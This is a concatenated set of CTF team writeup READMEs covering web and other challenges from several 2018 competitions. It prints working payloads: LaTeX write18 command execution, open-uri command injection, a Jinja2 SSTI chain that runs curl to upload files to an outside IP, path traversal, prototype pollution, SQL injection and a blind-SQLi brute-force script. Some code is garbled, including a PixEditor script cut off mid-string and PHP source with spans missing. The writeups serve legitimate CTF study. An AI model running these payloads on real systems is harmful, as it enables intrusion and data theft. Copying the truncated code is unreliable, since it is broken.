15 | - [WaWaCoin (unsolved, written by bookgin)](#wawacoin-unsolved-written-by-bookgin) 16 | - [Cryptolol (solved by sasdf)](#cryptolol-solved-by-sasdf) 17 | 18 | 19 | 20 | ## Pwn 21 | 22 | ## reverse 23 | 24 | ## Web 25 | 26 | ### PixEditor (bookgin) 27 | 28 | In this challenge, we can POST a list of RGBA pixels, with specific format JPG, PNG, BMP, GIF. After sending the request to the server, we can download the image we just uploaded. The filename will remain the same. 29 | 30 | ``` 31 | data=[255,0,0...] 32 | name=image.JPG 33 | format=JPG 34 | ``` 35 | 36 | My intuition is to upload a web shell. However, I've tried lot of filenames but they all failed. It seems the filename is properly parsed by php `basename()`. 37 | 38 | Next, I wonder what will happend if I'm trying to create a filename which is longer than 255 bytes, because the [maximum filename length](https://en.wikipedia.org/wiki/Comparison_of_file_systems#Limits) for `ext4` is 255. To my surprise, a filename with only 55 bytes gets truncated! 39 | 40 | - POST filename `ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz.bmp` 41 | - The server saves the file as `ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwx` 42 | 43 | The rest is trivial. We just need to manipulate the pixels to create a web shell. Pleases check my script for details. 44 | 45 | ```python= 46 | #!/usr/bin/env python3 47 | # Python 3.6.4 48 | import requests 49 | import json 50 | 51 | payload = ''' 50` 71 | 72 | ### Linked Out (bookgin) 73 | 74 | We can upload a YAML config file, and the website will render the content through LaTeX. 75 | 76 | Our first try is to insert some latex syntax `\texttt{GG} \textbf{greatest}`. It gets rendered. 77 | 78 | How about some evil RCE latex syntax? 79 | 80 | ``` 81 | \immediate\write18{ls > aaa.txt} 82 | \input{aaa.txt} 83 | ``` 84 | 85 | We soon found the flag is in `/flag`. Nevertheless, we fail to cat it out. We only got a parsing error. That's weird as I'm sure we have read permission via `ls -all /flag`. 86 | 87 | After a few tries, we found `cat Makefle`, `pwd` are giving us parsing error. I wonder if there is a WAF. A quick PoC `echo NDH` and `echo a` solves the mystery - it's WAFed. The underscore is WAFed as well. 88 | 89 | So we just bypass it with powerful `sed`. Here is the payload: 90 | 91 | ```yaml= 92 | - '\immediate\write18{cat /flag | sed "s/_/Q/g" | sed "s/NDH/WWW/g"> see}' 93 | - '\input{see}' 94 | ``` 95 | 96 | ### Crawl Me Maybe (unsolved, written by bookgin) 97 | 98 | The website will crawl the user-provided URL and displays the content. A quick test `url[]=` leads to an error which leaks the ruby source code: 99 | 100 | ```ruby 101 | require 'open-uri' 102 | require 'nokogiri' 103 | 104 | 105 | set :bind, '0.0.0.0' 106 | set :port, 8080 107 | 108 | 109 | get '/' do 110 | @title = 'Crawl Me Maybe!' 111 | erb :index 112 | end 113 | 114 | post '/result' do 115 | @title = 'Crawl Me Maybe!' 116 | url = params["url"] 117 | 118 | if /sh|dash|bash|rbash|zsh/.match(url) || url.match('flag') || url.match('txt') || url.index('*') != nil || (url.index('|') != nil && !(url.index('cat') != nil || url.index('ls') != nil)) 119 | @result = "Attack detected" 120 | erb :error 121 | else 122 | begin 123 | page = open(url) 124 | rescue StandardError => e 125 | @result = "Invalide url" 126 | erb :error 127 | else 128 | begin 129 | page = Nokogiri::HTML(page) { |config| config.strict } 130 | @result = "Page well formed !" 131 | @content = page.text 132 | erb :result 133 | rescue Nokogiri::HTML::SyntaxError => e 134 | @result = "caught exception: #{e}" 135 | erb :error 136 | end 137 | end 138 | end 139 | end 140 | ``` 141 | 142 | 1. `open-uri` is very dangerous. `open('| ls')` results in RCE, while `open('/etc/passwd')` results in local file leaks. 143 | 2. CHECK THE WAF CAREFULLY (we fail to do so). It seems working, but in fact, `| ls` is still a valid payload. 144 | 145 | Payload: 146 | ```shell= 147 | # locate the flag 148 | $ curl 'http://crawlmemaybe.challs.malice.fr/result' --data 'url=| ls >/dev/null; find / | grep fla' 149 | /home/challenge/src/.flag.txt 150 | 151 | # get the flag 152 | $ curl 'http://crawlmemaybe.challs.malice.fr/result' --data 'url=| ls >/dev/null; cat /home/challenge/src/.fla?.t?t' 153 | NDH{CUrly_Ruby_J3p53n} 154 | ``` 155 | 156 | 157 | This one is acctually very simple, but we are too tired to solve this...... Never stay up late playing CTf, guys. 158 | 159 | 160 | ### CoinGame (bookgin) 161 | 162 | The website is a online `curl` service, with PHP as the backend. 163 | 164 | `file:///etc/passwd` still works lika a charm, and what's more intriguing is that there is a user named `tftp`. 165 | 166 | Let's get information as more as possible: 167 | 168 | - source code: `file:///var/www/html/curl.php` 169 | - PHP curl: We can use `gopher`, though it's useless in the challenge. Refer to [SSRF bible](https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM/edit). 170 | - OS: file:///etc/os-release 171 | - tftp config file: `file:///etc/default/tftpd-hpa` 172 | ``` 173 | # /etc/default/tftpd-hpa 174 | 175 | TFTP_USERNAME="tftp" 176 | TFTP_DIRECTORY="/home/CoinGame" 177 | TFTP_ADDRESS="0.0.0.0:69" 178 | TFTP_OPTIONS="--secure --create" 179 | ``` 180 | 181 | Nevertheless, we are not able to connect to the tftp remotely. Then, we tried to dig some files under `/home/CoinGame` but none of them works. We got stuck here....... 182 | 183 | Suddenly, there arises inspiration in my mind. I start googling the author `Designed by totheyellowmoon`, accidently finding that he has only one repo, which is named `CoinGame`. 184 | 185 | Next, just crawl all the contents thorugh `file:///home/CoinGame/README.md` .... and diff with the repo. We found lots of images are not the same, and they contatins the flag. 186 | 187 | Hmm, I don't think this challenge is well-designed. 188 | 189 | ### WaWaCoin (unsolved, written by bookgin) 190 | 191 | In the login page, if the username doesn't not exist, we'll get `bad username`. Then, through a quick enumeration we found `admin` exists. 192 | 193 | In the manager page, we are set a cookie by the server, `session=757365723d64656d6f|9183ff6055a46981f2f71cd36430ed3d9cbf6861`. The first part is `user=demo` in hex, and the second part is a 20 bytes SHA1-hash. Manipulating the `user=admin` gets nothing, as the second part SHA1 seems like a signature. Therefore, the server will validate the signature and the first part. 194 | 195 | Later we found the category of the problem is updated to `crypto/web`, so length extension attack comes to my mind. 196 | 197 | However, we only send the payload to `/stealmoney` and `/login`. What's worse, we doesn't follow the redirect. In fact, one of the payload readlly works, but we send to the wrong API. Sending to `/stealmoney` will always redirect you to other page. The correct one is `/manager`. 198 | 199 | You can check [@Becojo's script](https://gist.github.com/Becojo/17dbd49b5e8f25d9d7534afc2ed76c64) for more detail. It seems that appending `;user=admin` or `&user=admin` both works. 200 | 201 | @sasdf, @sces60107 and I acctually spent 6+ hours on the frustrating challenge (sob). 202 | 203 | ### Cryptolol (solved by sasdf) 204 | 205 | To be completed 206 | -------------------------------------------------------------------------------- /20180908-hackitctf/README.md: -------------------------------------------------------------------------------- 1 | # HackIT CTF 2018 2 | 3 | **It's recommended to read our responsive [web version](https://balsn.tw/ctf_writeup/20180908-hackitctf/) of this writeup.** 4 | 5 | 6 | - [HackIT CTF 2018](#hackit-ctf-2018) 7 | - [Welcome](#welcome) 8 | - [Get Going](#get-going) 9 | - [Web](#web) 10 | - [Republic of Gayming](#republic-of-gayming) 11 | - [Believer Case](#believer-case) 12 | - [PeeHPee2](#peehpee2) 13 | - [Reverse](#reverse) 14 | - [coffee_overflow](#coffee_overflow) 15 | 16 | 17 | ## Welcome 18 | 19 | ### Get Going 20 | 21 | (bookgin) 22 | 23 | Actually, this should be a welcome challenge, but lots of teams find it not trivial. In the end the organizer releases 2 hints abount this welcome challenges, and directly indicates this is Zero Width Concept. lol 24 | 25 | The flag is encoded in Zero Width content with [zwsp-steg-js](https://github.com/offdev/zwsp-steg-js). 26 | 27 | ``` 28 | Welcome to the HackIT 2018 CTF, flag is somewhere here. ¯_(ツ)_/¯ 29 | 30 | flag{w3_gr337_h4ck3rz_w1th_un1c0d3} 31 | ``` 32 | 33 | ## Web 34 | 35 | ### Republic of Gayming 36 | 37 | (unsolved, written by bookgin, thanks @chmodxxx) 38 | 39 | The source code: 40 | 41 | ```javascript 42 | const express = require('express') 43 | var hbs = require('hbs'); 44 | var bodyParser = require('body-parser'); 45 | const md5 = require('md5'); 46 | var morganBody = require('morgan-body'); 47 | const app = express(); 48 | var user = []; //empty for now 49 | 50 | var matrix = []; 51 | for (var i = 0; i < 3; i++){ 52 | matrix[i] = [null , null, null]; 53 | } 54 | 55 | function draw(mat) { 56 | var count = 0; 57 | for (var i = 0; i < 3; i++){ 58 | for (var j = 0; j < 3; j++){ 59 | if (matrix[i][j] !== null){ 60 | count += 1; 61 | } 62 | } 63 | } 64 | return count === 9; 65 | } 66 | 67 | app.use('/static', express.static('static')); 68 | app.use(bodyParser.json()); 69 | app.set('view engine', 'html'); 70 | morganBody(app); 71 | app.engine('html', require('hbs').__express); 72 | 73 | app.get('/', (req, res) => { 74 | 75 | for (var i = 0; i < 3; i++){ 76 | matrix[i] = [null , null, null]; 77 | 78 | } 79 | res.render('index'); 80 | }) 81 | 82 | 83 | app.get('/admin', (req, res) => { 84 | /*this is under development I guess ??*/ 85 | 86 | if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){ 87 | res.send('Hey admin your flag is flag{redacted}') 88 | } 89 | else { 90 | res.status(403).send('Forbidden'); 91 | } 92 | } 93 | ) 94 | 95 | 96 | app.post('/api', (req, res) => { 97 | var client = req.body; 98 | var winner = null; 99 | matrix[client.row][client.col] = client.data; 100 | console.log(matrix); 101 | for(var i = 0; i < 3; i++){ 102 | if (matrix[i][0] === matrix[i][1] && matrix[i][1] === matrix[i][2] ){ 103 | if (matrix[i][0] === 'X') { 104 | winner = 1; 105 | } 106 | else if(matrix[i][0] === 'O') { 107 | winner = 2; 108 | } 109 | } 110 | if (matrix[0][i] === matrix[1][i] && matrix[1][i] === matrix[2][i]){ 111 | if (matrix[0][i] === 'X') { 112 | winner = 1; 113 | } 114 | else if(matrix[0][i] === 'O') { 115 | winner = 2; 116 | } 117 | } 118 | } 119 | 120 | if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'X'){ 121 | winner = 1; 122 | } 123 | if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'O'){ 124 | winner = 2; 125 | } 126 | 127 | if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'X'){ 128 | winner = 1; 129 | } 130 | if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'O'){ 131 | winner = 2; 132 | } 133 | 134 | if (draw(matrix) && winner === null){ 135 | res.send(JSON.stringify({winner: 0})) 136 | } 137 | else if (winner !== null) { 138 | res.send(JSON.stringify({winner: winner})) 139 | } 140 | else { 141 | res.send(JSON.stringify({winner: -1})) 142 | } 143 | 144 | }) 145 | app.listen(3000, () => { 146 | console.log('app listening on port 3000!') 147 | }) 148 | ``` 149 | 150 | 151 | The main objective is to pass the condition: 152 | `if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken)` 153 | 154 | However, `user = []` and there is no other operation which will modify the list. It seems impossible to pass this condition...... 155 | 156 | The most suspicious assignment is the operation of matrix, and we can control row,col and data. 157 | 158 | ```javascript 159 | matrix[client.row][client.col] = client.data; 160 | ``` 161 | 162 | Ok but this is `matrix` not the `user` list. It has nothing to do with `user` list. 163 | 164 | But you know, this is javascript. Everything can happen. 165 | 166 | Take a look at [Javascript prototype pollution](https://github.com/HoLyVieR/prototype-pollution-nsec18/). The basic idea is to override/create a new attribute in the prototype. `matrix['__proto__']` is the prototype of javascript list. Leveraging this we can add the `admintoken` attribute to the list: 167 | 168 | ```javascript 169 | matrix['__proto__']['admintoken'] = "helloworld"; 170 | ``` 171 | 172 | The payload: 173 | 174 | ```python 175 | #!/usr/bin/env python3 176 | import requests 177 | s = requests.session() 178 | # leverage matrix[row][col] = data 179 | print(s.post('http://127.0.0.1:3000/api', json={'row':'__proto__','col':'admintoken', 'data':'helloworld'}).text) 180 | # md5sum of 'hellworld' 181 | print(s.get('http://127.0.0.1:3000/admin', params={"querytoken":"fc5e038d38a57032085441e7fe7010b0"}).text) 182 | ``` 183 | 184 | This is a very cool challenge. Although I didn't solve it, I learn a lot :) 185 | 186 | ### Believer Case 187 | 188 | (bookgin) 189 | 190 | After a few testing we can quickly identify the vulnerabilty: Server Side Template Injection. `http://185.168.131.123/{{3*3}}` = 9 191 | 192 | Next is to identify the backend. The error page of `http://185.168.131.123/a/b/c/` looks like Python Flask. Does the server use jinja2 to render the template? 193 | 194 | Yes, it can be confirmed by `{{7*'7'}}` resulting 7777777. Refer to [this](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20injections#jinja2). 195 | 196 | However, the server will filter some words like `mro`,`+`, `|`,`class` ...., which makes RCE a little tricky. 197 | 198 | We first try to use `g` (flask.ctx object) and `session` to result in RCE but cannot find anything useful. A quick Google we found [this problem](https://ctftime.org/task/6505) and some solution utilizes `url_for` (jinja2 function) to RCE. 199 | 200 | So let's try `url_for.__globals__`, and we can see the `os` module is in the global! 201 | 202 | RCE is trivial now: 203 | 204 | ```sh 205 | # list files 206 | http://185.168.131.123/{{url_for.__globals__.os.system("ls -all > /tmp/abc")}} 207 | http://185.168.131.123/{{url_for.__globals__.os.system("curl 140.112.30.52:12345 -F data=@/tmp/abc")}} 208 | # get the flag 209 | http://185.168.131.123/{{url_for.__globals__.os.system("curl 140.112.30.52:12345 -F data=@flag_secret_file_910230912900891283")}} 210 | ``` 211 | 212 | (The reverse shell doesn't work:( so the solution is dirty. ) 213 | 214 | Here is the flag: 215 | 216 | `flag{blacklists_are_insecure_even_if_you_do_not_know_the_bypass_friend_1023092813}` 217 | 218 | ### PeeHPee2 219 | 220 | (unsolved, written by bookgin, thanks to @chmodxxx) 221 | 222 | The hint incicates the server is running Apache Struts 2.3.14, and provide a interface to fetch the url page. 223 | 224 | But it's not so easy to SSRF. The server side filters some words like `.`,`localhost`, `::`. 225 | 226 | We can bypass the filter using decimal IP `http://3114828676:1234/index.html`. 227 | 228 | and then use [Struts 2.3.14 CVE](https://github.com/bhdresh/CVE-2018-11776) to send the payload to localhost. 229 | 230 | [Offcial writeup](https://github.com/DefConUA/HackIT2018/tree/master/web/PeeHPee2) 231 | 232 | ## Reverse 233 | ### coffee_overflow 234 | 235 | (sasdf) 236 | 237 | [A very lengthy writeup](https://github.com/sasdf/ctf-tasks-writeup/blob/master/writeup/2018/HackIT/coffee_overflow/README.md) 238 | -------------------------------------------------------------------------------- /20181006-hackoverctf/README.md: -------------------------------------------------------------------------------- 1 | # Hackover CTF 2018 2 | 3 | 4 | **It's recommended to read our responsive [web version](https://balsn.tw/ctf_writeup/20181006-hackoverctf/) of this writeup.** 5 | 6 | 7 | - [Hackover CTF 2018](#hackover-ctf-2018) 8 | - [Reverse](#reverse) 9 | - [flagmaker](#flagmaker) 10 | - [bwv2342](#bwv2342) 11 | - [Crypto](#crypto) 12 | - [secure_hash v2](#secure_hash-v2) 13 | - [oblivious transfer](#oblivious-transfer) 14 | - [web](#web) 15 | - [cyberware](#cyberware) 16 | - [ez web](#ez-web) 17 | - [i-love-heddha](#i-love-heddha) 18 | - [who knows john dows?](#who-knows-john-dows) 19 | 20 | 21 | 22 | ## Reverse 23 | 24 | ### flagmaker 25 | 26 | https://github.com/sasdf/ctf-tasks-writeup/tree/master/writeup/2018/HackOver/rev/flagmaker 27 | 28 | ### bwv2342 29 | 30 | This chal provide a movfuscated binary. Knowing that movfuscated binary is hard to reverse, We first simply run the binary with strace and found that it open `flag.txt`. After some trial and error (with knowledge of the flag is of form hackover18{some text}), we quickly found out right input will be responsed with different output compared with wrong input. Now simply bruteforce the flag. 31 | 32 | flag : `hackover18{M0V_70_7h4_w0h173mp3r13r73_Kl4v13r}` 33 | 34 | ## Crypto 35 | 36 | ### secure_hash v2 37 | 38 | https://github.com/sasdf/ctf-tasks-writeup/tree/master/writeup/2018/HackOver/crypto/secure_hash_v2 39 | 40 | ### oblivious transfer 41 | 42 | https://github.com/sasdf/ctf-tasks-writeup/tree/master/writeup/2018/HackOver/crypto/oblivious 43 | 44 | ## web 45 | 46 | ### cyberware 47 | 48 | (bookgin) 49 | 50 | We are given a webserver, which we can read some files in the directory. How about reading other directories? After a few tests, I think the backend it's probably heavilty WAFed. For example, if we have a trailing slash: 51 | 52 | ```sh 53 | $ curl 'http://cyberware.ctf.hackover.de:1337/fox.txt/' -sD - 54 | HTTP/1.1 403 You shall not list! 55 | Server: Linux/cyber 56 | Date: Fri, 05 Oct 2018 20:38:38 GMT 57 | Content-type: text/cyber 58 | 59 | Protected by Cyberware 10.1 60 | ``` 61 | 62 | Or the path starts with dot: 63 | 64 | ```sh 65 | $ curl 'http://cyberware.ctf.hackover.de:1337/.a' -sD - 66 | HTTP/1.1 403 Dots are evil 67 | Server: Linux/cyber 68 | Date: Fri, 05 Oct 2018 21:07:18 GMT 69 | Content-type: text/cyber 70 | 71 | Protected by Cyberware 10.1 72 | ``` 73 | 74 | The filtering rules are listed below: 75 | 76 | 1. if len(path) == 1: path will be replaced to `/` 77 | 2. if len(path) > 1: the last character of the path cannot be `/` 78 | 3. The path cannot start with `/.` 79 | 80 | Actually I even write a fuzzing script, trying to use a brute-force way to bypass the WAF. 81 | ```python 82 | from itertools import product 83 | for i in product(*[['.', '/', './', '../', 'cat.txt'] for _ in range(4)]): 84 | ... 85 | ``` 86 | 87 | This script gives me some interesting findings: 88 | 89 | 1. The path can start with multiple slashes. 90 | 2. `../` can be used 91 | 92 | So I try to read `/etc/passwd` by visiting `http://cyberware.ctf.hackover.de:1337//../../../etc/passwd`. It works! The next problem is to find the flag, but it's not in `/flag` nor `/home/ctf/flag`. Let's try to get more inforation: 93 | 94 | ``` 95 | /proc/self/stat 96 | 1 (cyberserver.py) S 0 1 1 34816 1 4194560 1983058 0 51 0 40392 20243 0 0 20 0 187 0 75328 268914688 4920 18446744073709551615 6074536218624 6074536221952 128479825392640 0 0 0 0 16781312 2 0 0 0 17 0 0 0 7 0 0 6074538319272 6074538319880 6075320318234 128479825398243 128479825398277 128479825398277 128479825398391 0 97 | ``` 98 | 99 | We have the filename of the source code. You can refer to [p4's writeup](https://github.com/p4-team/ctf/tree/master/2018-10-06-hackover/web_cyberware) for the complete source code. The most important snippet is: 100 | 101 | ```python 102 | if path.startswith('flag.git') or search('\\w+/flag.git', path): 103 | self.send_response(403, 'U NO POWER') 104 | self.send_header('Content-type', 'text/cyber') 105 | self.end_headers() 106 | self.wfile.write(b"Protected by Cyberware 10.1") 107 | return 108 | ``` 109 | 110 | `\w` [means any word character](https://stackoverflow.com/a/1576812). However this trivial to bypass via two slashes `//home/ctf//flag.git/HEAD`. 111 | 112 | The rest is easy: extract the git repo using [gitdumper](https://github.com/internetwache/GitTools#dumper). 113 | 114 | We have the flag `hackover18{Cyb3rw4r3_f0r_Th3_w1N}`. 115 | 116 | ### ez web 117 | 118 | (bookgin) 119 | 120 | The challenge only shows `under construction` in the index page. There is nothing interesting in the website...... I'm at a loss in the beginnning and I don't know what to do next. 121 | 122 | Maybe try to profile the backend. Visiting `http://ez-web.ctf.hackover.de:8080/abc` shows the following error page: 123 | ``` 124 | Whitelabel Error Page 125 | 126 | This application has no explicit mapping for /error, so you are seeing this as a fallback. 127 | Thu Oct 11 01:39:16 GMT 2018 128 | There was an unexpected error (type=Not Found, status=404). 129 | No message available 130 | ``` 131 | 132 | The backend seems to be [Spring Boot](https://www.logicbig.com/tutorials/spring-framework/spring-boot/disable-default-error-page.html). Then, nothing interesting. 133 | 134 | Then I think it's time to use some scanner: [DirBuster](https://www.owasp.org/index.php/Category:OWASP_DirBuster_Project) to burst the path. I always use scanner in a very low request rate(1-2 requests per second), trying to minimize the impact on the server. Surprisingly it found `http://ez-web.ctf.hackover.de:8080/flag/` return HTTP 200. Visit the page and there is a link to `flag.txt`. 135 | 136 | ```sh 137 | $ curl http://ez-web.ctf.hackover.de:8080/flag/flag.txt -sD - 138 | HTTP/1.1 200 139 | Set-Cookie: isAllowed=false 140 | Content-Type: text/plain;charset=UTF-8 141 | Content-Length: 219 142 | Date: Thu, 11 Oct 2018 01:42:48 GMT 143 | 144 | 145 | 146 | Restricted Access 147 | 148 | 149 |

You do not have permission to enter this Area. A mail has been sent to our Admins.
You shall be arrested shortly.

150 | 151 | 152 | ``` 153 | 154 | Just modify the cookie and get the flag. 155 | 156 | ```sh 157 | $ curl 'http://ez-web.ctf.hackover.de:8080/flag/flag.txt' --cookie "isAllowed=true" 158 | hackover18{W3llD0n3,K1d.Th4tSh0tw4s1InAM1ll10n} 159 | ``` 160 | 161 | ### i-love-heddha 162 | 163 | (bookgin) 164 | 165 | The challenge is almost the same as the last one. Starting with: 166 | ```sh 167 | curl 'http://207.154.226.40:8080/flag/flag.txt' -sD - --cookie 'isAllowed=true' 168 | HTTP/1.1 200 169 | Content-Type: text/plain;charset=UTF-8 170 | Content-Length: 175 171 | Date: Thu, 11 Oct 2018 01:46:47 GMT 172 | 173 | 174 | 175 | Wrong Browser detected 176 | 177 | 178 |

You are using the wrong browser, 'Builder browser 1.0.1' is required

179 | 180 | 181 | ``` 182 | 183 | It's definitely user-agent: 184 | ```sh 185 | $ curl 'http://207.154.226.40:8080/flag/flag.txt' --cookie 'isAllowed=true' -H 'User-Agent: Builder browser 1.0.1' 186 | 187 | 188 | Almost 189 | 190 | 191 |

You are refered from the wrong location hackover.18 would be the correct place to come from.

192 | 193 | 194 | ``` 195 | 196 | It's referer, and then get the flag! 197 | 198 | ```sh 199 | $ curl -s 'http://207.154.226.40:8080/flag/flag.txt' --cookie 'isAllowed=true' -H 'User-Agent: Builder browser 1.0.1' --referer 'hackover.18' | base64 -d 200 | hackover18{4ngryW3bS3rv3rS4ysN0} 201 | ``` 202 | 203 | It's worth to mention here: after the problem released, it takes only about a few minutes and one team got the firstblood. Therfore, this problem should be intuitive and easy to tackle. 204 | 205 | On the contrary, we will stay away from some challenges that few teams solved, and those teams are not in top 30. This probably means the challenge itself is poorly designed, or some guessing / mind-reading the organizers is required such that even the top 10 teams cannot solve. 206 | 207 | ### who knows john dows? 208 | 209 | (bookgin) 210 | 211 | > You know nothing, Jon Snow - Ygritte 212 | 213 | We are given a website and a Github link to the source code [https://github.com/h18johndoe/user_repository/blob/master/user_repo.rb](https://github.com/h18johndoe/user_repository/blob/master/user_repo.rb). 214 | ```ruby 215 | class UserRepo 216 | 217 | def initialize(database) 218 | @database = database 219 | @users = database[:users] 220 | end 221 | 222 | def login(identification, password) 223 | hashed_input_password = hash(password) 224 | query = "select id, phone, email from users where email = '#{identification}' and password_digest = '#{hashed_input_password}' limit 1" 225 | puts "SQL executing: '#{query}'" 226 | @database[query].first if user_exists?(identification) 227 | end 228 | 229 | def user_exists?(identification) 230 | !get_user_by_identification(identification).nil? 231 | end 232 | 233 | private 234 | 235 | def get_user_by_identification(identification) 236 | @users.where(phone: identification).or(email: identification).first 237 | end 238 | 239 | def hash(password) 240 | password.reverse 241 | end 242 | 243 | end 244 | ``` 245 | 246 | If we have a correct phone or email, we can easily perform a SQL injection. It's hard to come out a way to guess the phone, but the email is usually public. Maybe we can take a look at the git commit: 247 | 248 | ```sh 249 | $ git log 250 | commit b26aed283d56c65845b02957a11d90bc091ac35a (HEAD -> master, origin/master, origin/HEAD) 251 | Author: John Doe 252 | Date: Tue Oct 2 23:55:57 2018 +0200 253 | 254 | Add login method 255 | 256 | commit 5383fb4179f1aec972c5f2cc956a0fee07af353a 257 | Author: John Doe 258 | Date: Tue Oct 2 23:04:13 2018 +0200 259 | 260 | Add methods 261 | 262 | commit 2d3e1dc0c5712efd9a0c7a13d2f0a8faaf51153c 263 | Author: John Doe 264 | Date: Tue Oct 2 23:02:26 2018 +0200 265 | 266 | Add dependency injection for database 267 | 268 | commit 3ec70acbf846037458c93e8d0cb79a6daac98515 269 | Author: John Doe 270 | Date: Tue Oct 2 23:01:30 2018 +0200 271 | 272 | Add user repo class and file 273 | ``` 274 | 275 | Just try all of them. The correct mail is `john_doe@notes.h18`, and then we simply login with `' or 1=1 --` SQL injection. Note that the string will be reversed. 276 | -------------------------------------------------------------------------------- /20181108-defcampctffinal/README.md: -------------------------------------------------------------------------------- 1 | # DefCamp CTF Finals 2018 2 | 3 | **It's recommended to read our responsive [web version](https://balsn.tw/ctf_writeup/20181108-defcampctffinal/) of this writeup.** 4 | 5 | 6 | - [DefCamp CTF Finals 2018](#defcamp-ctf-finals-2018) 7 | - [Web](#web) 8 | - [Scribbles](#scribbles) 9 | - [Other failed attempts](#other-failed-attempts) 10 | - [Postscript](#postscript) 11 | - [TicketCore](#ticketcore) 12 | - [Solution 1](#solution-1) 13 | - [Solution 2](#solution-2) 14 | - [Failed attempts](#failed-attempts) 15 | 16 | 17 | ## Web 18 | 19 | ### Scribbles 20 | 21 | (shw, bookgin, RB363, written by bookgin) 22 | 23 | Here is the server source code: 24 | 25 | ```php 26 | hash_hmac('md5', $payload, FLAG), 42 | 'payload' => $payload, 43 | ]); 44 | 45 | $ch = curl_init(); 46 | curl_setopt($ch, CURLOPT_URL, "http://127.0.0.1" . $_SERVER['REQUEST_URI'] . "?action=log"); 47 | curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 48 | curl_setopt($ch, CURLOPT_POST, 1); 49 | curl_setopt($ch, CURLOPT_POSTFIELDS, $post); 50 | 51 | echo curl_exec($ch); 52 | 53 | } else { 54 | 55 | if (hash_hmac('md5', $_POST['payload'], FLAG) !== $_POST['signature']) { 56 | echo 'FAIL'; 57 | exit; 58 | } 59 | 60 | parse_str($_POST['payload'], $payload); 61 | 62 | $target = 'files/' . time() . '.' . substr($payload['name'], -20); 63 | $contents = $payload['data']; 64 | $decoded = base64_decode($contents); 65 | $ext = 'raw'; 66 | 67 | if (isset($payload['ext'])) { 68 | $ext = ( 69 | ( $payload['ext'] == 'j' ) ? 'jpg' : 70 | ( $payload['ext'] == 'p' ) ? 'php' : 71 | ( $payload['ext'] == 'r' ) ? 'raw' : 'file' 72 | ); 73 | } 74 | 75 | if ($decoded !== '') { 76 | $contents = $decoded; 77 | $target .= '.' . $ext; 78 | } 79 | 80 | if (strlen($contents) > 37) { 81 | echo 'FAIL'; 82 | exit; 83 | } 84 | 85 | file_put_contents($target, $contents); 86 | 87 | echo 'OK'; 88 | } 89 | ``` 90 | 91 | First let's try to overwrite ` $name` by injecting data of this line `$payload = "data=$data&name=$name";` 92 | 93 | ```php 94 | $data="a&name=sl0wp0ke.php\x00"; 95 | ``` 96 | 97 | Both uniqid() and time() are predicable, so we can infer the filename. After checking the content, we found that the null byte injection works because curl seems to truncate the data after a null byte. 98 | 99 | Than, intuitively, we should create a webshell by modifying the `ext` here: 100 | 101 | ```php 102 | if (isset($payload['ext'])) { 103 | $ext = ( 104 | ( $payload['ext'] == 'j' ) ? 'jpg' : 105 | ( $payload['ext'] == 'p' ) ? 'php' : 106 | ( $payload['ext'] == 'r' ) ? 'raw' : 'file' 107 | ); 108 | } 109 | ``` 110 | 111 | However this is a pitfall. Because of the precedence of operators, the tenary is [not working as expected](https://stackoverflow.com/questions/5235632/stacking-multiple-ternary-operators-in-php): 112 | ```php 113 | var_dump(true ? 'a' : true ? 'b' : 'c'); // b 114 | var_dump(true ? 'a' : false ? 'b' : 'c'); // b 115 | // is exactly the same 116 | var_dump((true ? 'a' : false) ? 'b' : 'c'); // b 117 | ``` 118 | 119 | But can we still create a file with extension `php`? Take a closer look of the lines below: 120 | 121 | ```php 122 | $decoded = base64_decode($contents); 123 | ... 124 | if ($decoded !== '') { 125 | $contents = $decoded; 126 | $target .= '.' . $ext; 127 | } 128 | ... 129 | file_put_contents($target, $contents); 130 | ``` 131 | 132 | If we can make `$decoded` empty, the filename will not be appended `$ext`! But how can we create a webshell with empty content? The trick is `base64_decode` will ignore invalid characters: 133 | 134 | ```php 135 | php > var_dump(base64_decode("W!V!V!Q")); 136 | string(3) "YUP" 137 | ``` 138 | 139 | Now we can write any content without alphanumeric characters to a php file. However there is a constraint of the webshell : it should be less than 37 bytes. How do we bypass this? 140 | 141 | 1. short tag: The remote doesn't support short_tag `'DCT' && (select code from tickets where id = 1)<'DCU'|| 'a'=' 230 | ``` 231 | Bingo, but unfortunately `DCTF` is WAFed. We have to find another way to represent the string. 232 | 233 | 234 | #### Solution 1 235 | 236 | `0x` and most string function are WAFed. Eventually we use `0b00000001` to represent a string. 237 | 238 | ```python 239 | #!/usr/bin/env python3 240 | from urllib.parse import quote 241 | import string 242 | import requests 243 | import base64 244 | def b64(s): 245 | return base64.b64encode(s.encode()).decode() 246 | 247 | s = requests.session() 248 | cookies ={ 249 | # omitted 250 | } 251 | 252 | test = 'https://ticketcore.dctf18-finals.def.camp/printable-ticket/' 253 | 254 | def isCorrect(r): 255 | if r.status_code != 200: 256 | print('syntax error') 257 | return False 258 | if 'WAF 1337 Alert!' in r.text: 259 | print('WAF') 260 | return False 261 | elif 'Hmm, the ticket code is empty or missing. Please contact support!' in r.text: 262 | return False 263 | else: 264 | return True 265 | 266 | def isWAF(r): 267 | return 'WAF 1337 Alert!' in r.text 268 | 269 | flag = 'dctf{' 270 | 271 | while True: 272 | bingo = False 273 | for i in '}0123456789abcdef': 274 | print(i) 275 | larger_than = '0b' + ''.join(['{:08b}'.format(ord(j)) for j in flag]) + '{:08b}'.format(ord(i)) + '00000000' 276 | less_than = '0b' + ''.join(['{:08b}'.format(ord(j)) for j in flag]) + '{:08b}'.format(ord(i)) + '01011010' 277 | print(larger_than) 278 | r = s.get(test + quote(f"'=''&& (select code from tickets where id = 1) > {larger_than} && (select code from tickets where id = 1) < {less_than} || 'a'='"), cookies=cookies) 279 | if isCorrect(r): 280 | print('bingo') 281 | bingo = True 282 | flag += i 283 | 